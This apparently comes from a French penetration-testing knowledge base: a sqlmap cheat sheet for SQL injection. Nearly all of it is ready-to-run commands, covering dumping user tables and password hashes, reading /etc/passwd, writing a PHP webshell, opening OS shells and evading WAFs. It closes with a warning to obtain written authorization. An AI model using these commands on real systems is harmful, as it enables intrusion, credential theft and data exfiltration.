---
title: sqlmap
description: "Détecter et exploiter les injections SQL : dump, shell, fichiers et contournement de WAF."
category: web
kind: tool
tags: [sqli, injection, database, exploitation]
level: intermediate
updated: 2026-11-09
order: 3
aliases: ["sql injection automation"]
---

## Scan de base

```bash
# Détection et batch (aucune question interactive)
sqlmap -u "https://target.test/item?id=1" --batch

# Depuis une requête Burp sauvegardée
sqlmap -r request.txt --batch --level 3 --risk 2

# POST avec cookie et header custom
sqlmap -u "https://target.test/login" \
  --data "user=admin&pass=test" \
  --cookie "session=abc123" \
  --headers "X-Forwarded-For: 127.0.0.1" \
  --batch
```

| Option | Effet |
| --- | --- |
| `--dbs` | Liste les bases |
| `-D db --tables` | Tables d'une base |
| `-T table --columns` | Colonnes |
| `--dump` | Dump les données |
| `--level 1-5` | Nombre de tests (défaut 1) |
| `--risk 1-3` | Risque des payloads |
| `--technique BEUSTQ` | Techniques autorisées |
| `--tamper` | Scripts de contournement WAF |
| `--os-shell` | Shell système (si DB le permet) |

## Explorer la base

```bash
# Bases, tables, colonnes
sqlmap -u "https://target.test/item?id=1" --dbs --batch
sqlmap -u "https://target.test/item?id=1" -D app --tables --batch
sqlmap -u "https://target.test/item?id=1" -D app -T users --columns --batch

# Dump ciblé
sqlmap -u "https://target.test/item?id=1" -D app -T users \
  -C username,password,email --dump --batch

# Hashs et mots de passe
sqlmap -u "https://target.test/item?id=1" --passwords --batch
```

## Fichiers et shell

```bash
# Lire un fichier serveur
sqlmap -u "https://target.test/item?id=1" --file-read=/etc/passwd

# Écrire un webshell (droits élevés nécessaires)
sqlmap -u "https://target.test/item?id=1" --file-write=shell.php \
  --file-dest=/var/www/html/shell.php

# Shell SQL interactif
sqlmap -u "https://target.test/item?id=1" --sql-shell

# Shell OS
sqlmap -u "https://target.test/item?id=1" --os-shell
```

## Contournement et discrétion

```bash
# WAF : tamper scripts (liste disponible avec --list-tampers)
sqlmap -u "https://target.test/item?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --delay 1 --batch

# Forcer une technique et un DBMS
sqlmap -u "https://target.test/item?id=1" --technique=T --dbms=mysql

# Tor / proxy
sqlmap -u "https://target.test/item?id=1" --proxy=http://127.0.0.1:8080
```

```bash
# Lister les tampers utiles
sqlmap --list-tampers | grep -iE "space|union|between|charencode"
```

> [!TIP]
> Sur une appli qui renvoie peu d'erreurs, force le booléen ou le time-based : `--technique=BT --time-sec=3`. Commence par `--level 2 --risk 1` pour éviter de casser les données.

> [!WARNING]
> `--os-shell`, `--file-write` et `--dump` peuvent modifier ou exfiltrer des données réelles. Sur une prod, demande une autorisation écrite, limite le dump à quelques lignes (`--stop 5`) et ne touche jamais aux tables de sessions.
